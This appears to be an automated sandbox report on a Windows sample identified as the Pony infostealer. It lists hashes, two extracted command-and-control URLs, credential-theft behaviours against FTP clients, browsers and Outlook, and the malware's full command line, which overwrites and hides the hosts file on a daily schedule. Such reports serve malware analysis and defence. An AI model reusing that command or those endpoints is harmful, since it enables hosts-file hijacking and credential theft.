Analysis
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max time kernel
72s -
max time network
73s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
02-10-2022 12:33
Static task
static1
Behavioral task
behavioral1
Sample
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe
Resource
win7-20220812-en
General
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Target
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe
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Size
94KB
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MD5
6787367d68fb49a10e381beb84d140b0
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SHA1
6dcb6116f83cedc9dc1a530ba65a941f92cdc13c
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SHA256
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7
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SHA512
37a668904d96030c57145fb4a6329637fc5d28e59b095b3ee84062f7099b7bc6a836bf3c03a8d29d942074177738f2308149c5fafdda829d76bae8b2f163856d
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SSDEEP
1536:Feu7bf+VuA6C1QC5s2DnT9HuU8tolo5KEukkgNvMNRPe2P02Rh21417FvZ4fUGAL:FZmu1C5rbT9HN8alo4CjNvMTPeLQh21n
Malware Config
Extracted
pony
http://skpoydy.pw:4915/way/like.php
http://sotyksy.pw:4915/way/like.php
Signatures
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Drops file in Drivers directory 3 IoCs
Processes:
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.execmd.exedescription ioc process File created C:\Windows\system32\drivers\etc\tmp.tmp b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Processes:
resource yara_rule behavioral1/memory/1148-57-0x0000000000400000-0x0000000000424000-memory.dmp upx behavioral1/memory/1148-58-0x0000000000400000-0x0000000000424000-memory.dmp upx behavioral1/memory/1148-60-0x0000000000400000-0x0000000000424000-memory.dmp upx -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
Processes:
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exedescription pid process Token: SeImpersonatePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeTcbPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeChangeNotifyPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeCreateTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeBackupPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeRestorePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeIncreaseQuotaPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeAssignPrimaryTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeImpersonatePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeTcbPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeChangeNotifyPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeCreateTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeBackupPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeRestorePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeIncreaseQuotaPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeAssignPrimaryTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeImpersonatePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeTcbPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeChangeNotifyPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeCreateTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeBackupPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeRestorePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeIncreaseQuotaPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeAssignPrimaryTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeImpersonatePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeTcbPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeChangeNotifyPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeCreateTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeBackupPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeRestorePrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeIncreaseQuotaPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe Token: SeAssignPrimaryTokenPrivilege 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.execmd.exedescription pid process target process PID 1148 wrote to memory of 1840 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe cmd.exe PID 1148 wrote to memory of 1840 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe cmd.exe PID 1148 wrote to memory of 1840 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe cmd.exe PID 1148 wrote to memory of 1840 1148 b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe cmd.exe PID 1840 wrote to memory of 776 1840 cmd.exe at.exe PID 1840 wrote to memory of 776 1840 cmd.exe at.exe PID 1840 wrote to memory of 776 1840 cmd.exe at.exe PID 1840 wrote to memory of 776 1840 cmd.exe at.exe -
outlook_win_path 1 IoCs
Processes:
b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe"C:\Users\Admin\AppData\Local\Temp\b0beaa8868f18523273471589e8fa6fec3efd996622b37d7cd5c3e32a40d5ca7.exe"1⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1148 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 18:28:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7174766aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\SysWOW64\at.exeat 18:28:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7174766aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵PID:776
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/776-61-0x0000000000000000-mapping.dmp
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memory/1148-54-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
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memory/1148-55-0x0000000000220000-0x0000000000244000-memory.dmpFilesize
144KB
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memory/1148-56-0x0000000075041000-0x0000000075043000-memory.dmpFilesize
8KB
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memory/1148-57-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
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memory/1148-58-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
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memory/1148-60-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
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memory/1840-59-0x0000000000000000-mapping.dmp